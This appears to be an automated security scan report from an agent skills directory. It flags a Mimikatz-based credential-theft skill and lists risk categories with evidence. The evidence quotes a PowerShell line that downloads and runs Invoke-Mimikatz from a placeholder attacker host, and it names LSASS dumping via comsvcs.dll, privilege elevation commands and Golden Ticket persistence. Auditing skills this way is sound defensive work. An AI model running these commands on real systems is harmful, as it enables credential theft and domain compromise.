The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides instructions for downloading and reflectively executing code from external, untrusted sources using PowerShell.
Evidence: IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1') in SKILL.md and references/credential-theft-tradecraft.md.
[COMMAND_EXECUTION]: The skill utilizes several system utilities and LOLBins to perform sensitive operations such as memory dumping.
Evidence: Use of mimikatz.exe, procdump.exe, rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump, and vssadmin in SKILL.md.
[PRIVILEGE_ESCALATION]: The skill documents methods for obtaining administrative privileges and bypassing system protections.
Evidence: Instructions for privilege::debug, token::elevate, and using the mimidrv.sys driver to remove protection from lsass.exe via !processprotect in SKILL.md.
[PERSISTENCE]: The skill provides instructions for establishing long-term persistence in a domain environment through forged Kerberos tickets and Domain Controller manipulation.
Evidence: Detailed sections on forging 'Golden Tickets' and patching Domain Controllers with a 'Skeleton Key' in SKILL.md.
[CREDENTIALS_UNSAFE]: The skill is primarily focused on the extraction of sensitive authentication material from system memory and protected storage.
Evidence: Instructions for dumping LSASS, SAM database, and decrypting DPAPI protected blobs for Chrome and Edge passwords in SKILL.md and references/credential-theft-tradecraft.md.
[EXTERNAL_DOWNLOADS]: The skill references the installation of external security packages from public registries.
Evidence: pip install pypykatz in references/credential-theft-tradecraft.md.
[INDIRECT_PROMPT_INJECTION]: The skill processes external data files such as browser database and credential blobs that could potentially contain malicious instructions.
Evidence Chain:
Ingestion points: Reading and decrypting browser login data and vault credentials in SKILL.md and references/credential-theft-tradecraft.md.
Boundary markers: None present to distinguish data from instructions.
Capability inventory: Extensive capabilities including file manipulation, token impersonation, and remote execution.
Sanitization: No sanitization of processed data is documented.

mimikatz